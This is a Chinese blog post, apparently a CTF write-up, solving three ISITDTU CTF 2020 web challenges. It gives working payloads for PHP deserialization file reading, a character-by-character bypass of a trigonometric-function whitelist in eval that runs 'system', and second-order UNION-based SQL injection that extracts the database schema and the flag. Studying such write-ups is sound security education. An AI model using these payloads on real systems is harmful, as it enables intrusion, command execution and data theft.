zoukankan      html  css  js  c++  java
  • ISITDTU CTF 2020 部分Web题目Writeup

    周末,跟着m3w师傅打ISITDTUCTF,m3w师傅带弟弟上分,Tql!

    Web1

    给了源码:

    <?php
    class Read{
        public $flag;
        public function __wakeup(){
            echo file_get_contents($this->flag);
        }
    }
    if(isset($_GET['username'])){
        if(isset($_GET['password']))
        {
            $password = $_GET['password'];
            unserialize($password);
        }
    }
    highlight_file(__FILE__);
    ?>
    

    考点:找flag文件+反序列化+文件包含

    后面的利用很快就构造好了,利用类反序列化时触发__wakeup魔术方法,将flag文件包含进去。

    Payload.php

    <?php
    class Read{
        public $flag = 'index.php';
    }
    $a = new Read();
    echo serialize($a);
    ?>
    

    不过flag文件一直找不到,尝试了几个常用的地方也没有。后来发现还有存在一个robots.txt的文件,其中给了flag为fl4g.php

    Payload:?username&password=O:4:"Read":1:{s:4:"flag";s:8:"fl4g.php";},查看源码即可。

    Web2

    还是给出了源码:

    <?php
    
        // error_reporting(E_ALL);
        // ini_set('display_errors', '1');
    
        function trigonometric_check($code) { 
    
            // Check length
            if (strlen($code) >= 0x100) { 
                return false;
            }
    
            // Trim code
            $code = preg_replace("/(\s|\r|\n|\t)/", " ", $code); 
    
            // Danger keyword
            $blacklist = array("`", "\$", "include", "require", "#");
            foreach ($blacklist as $b) {
                if(preg_match("/($b)/i", $code, $m)) {  
                    return false;
                }
            }
    
            // Fillter function
            preg_match_all("/([a-zA-Z]+)[\s\t\r\n/*]*(/", $code, $match);
            $trigonometric_functions = array("sin", "asin", "cos", "acos", "tan", "atan"); 
    
            // Missing trigonometric function
            if (count($match[1]) === 0) {
                return false;
            }
    
            // Only trigonometric function
            foreach($match[1] as $func) {
                if (!in_array($func, $trigonometric_functions)) {
                    return false;
                }
            }
    
            return true;
        }
    
        function trigonometric($code) {
            if (!trigonometric_check($code)) {
                echo "Error!";
                return;
            }
            echo eval("echo ".$code.";");
        }
    
        $input = $_POST["input"];
    
        if (!isset($input)) {
            highlight_file(__FILE__);
            exit;
        }
    
        trigonometric($input);
    ?>
    

    通过查看源码,进行了四层过滤,分别是:对长度进行限制、将一些转义的特殊字符置空,过滤一份黑名单,一份可用函数的白名单。

    想了很久,没有思路,这时候m3w师傅给了一串字符串:(''.[])[sin(0)],找到了A,然后通过测试发现对字符串加入内容,可以返回第一个字符,如('b')[sin(0)]——>b,通过这个方法就可以拼接字符串,然后getshell了

    Payload:input=((("s")[sin(0)]).(("y")[sin(0)]).(("s")[sin(0)]).(("t")[sin(0)]).(("e")[sin(0)]).(("m")[sin(0)]))((("n")[sin(0)]).(("l")[sin(0)]).((" ")[sin(0)]).(("*")[sin(0)]))

    对(''.[])[sin(0)]的思考:

    拆成两个部分:''.[]和[sin(0)]

    前半部分是通过强转换的方式将''和[]进行拼接,[]会变成Array,而前面是空字符,所以拼接完之后的字符串是Array

    后半部分sin(0)取值是0,所以是[0]

    两个拼接起来后就是取了A,有一种C语言字符串取值的感觉了,最后优化一下,可以改成:'A'[sin(0)]

    后来,Firebasky师傅问了一个"ab"[[0]]为啥输出的是b,测试一下:

    $a = array();
    $b = array('1');
    var_dump("abc"[$a]);
    var_dump("abc"[$b]);
    #输出
    string(1) "a"
    string(1) "b"
    
    var_dump("abc"[[]]);
    var_dump("abc"[[0]]);
    #输出
    string(1) "a"
    string(1) "b"
    

    如果[]中是数组且有值的,那就会转成"abc"[1];而如果[]中是数组但没有值的,那就会转成"abc"[0]。因为自己水平有限,实在无法继续向下分析了,只能当个trick记住了,5555~,要是有懂的师傅请指点一下我!

    Web3 child sql

    有三个页面,分别是login.php、register.php、index.php(需要登陆了才看得到)

    一开始找注入点,就毫无头绪。在登陆和注册页面疯狂尝试,无果。m3w师傅又来提醒我了,说是二次注入回显在index.php界面。发现了注入点在注入页面的用户名上。其实自己应该发现的,因为当时曾经用了username = "atao' or 1#"但是返回的不是atao而是1111,还以为是网站的问题,原来是菜蒙蔽了双眼。

    Payload

    判断列数:atao' order by 1#

    回显库名:-1' union select database()#

    回显表名:-1' union select group_concat(table_name) from information_schema.tables where table_schema= database()#

    回显列名:-1' union select group_concat(column_name) from information_schema.columns where table_schema= database() and table_name='flag'#

    回显数据:-1' union select flag from flag#

    注:邮箱需要一直换一下

    另外两题Web,一个是Powershell的trick,还有一个好像环境有问题。要是啥时候能用了在复现一下。周末又是膜m3w师傅!!!感谢大师傅带我打比赛。

    本文作者:erR0Ratao

    本文链接:https://www.cnblogs.com/erR0Ratao/p/13801674.html

  • 相关阅读:
    I.MX6 RGB clock 和 data 重合
    git 一次删除所有删除的文件
    C# ListView 列宽调整 刷新
    I.MX6 dhcpcd 需要指定网卡
    VS 一些用法设置
    Java写的爬虫的基本程序
    jQuery HighchartsTableHTML表格转Highcharts图表插件
    highcharts 去掉打印和链接
    Highcharts选项配置详细说明文档
    Highcharts使用指南
  • 原文地址:https://www.cnblogs.com/erR0Ratao/p/13801674.html
Copyright © 2011-2022 走看看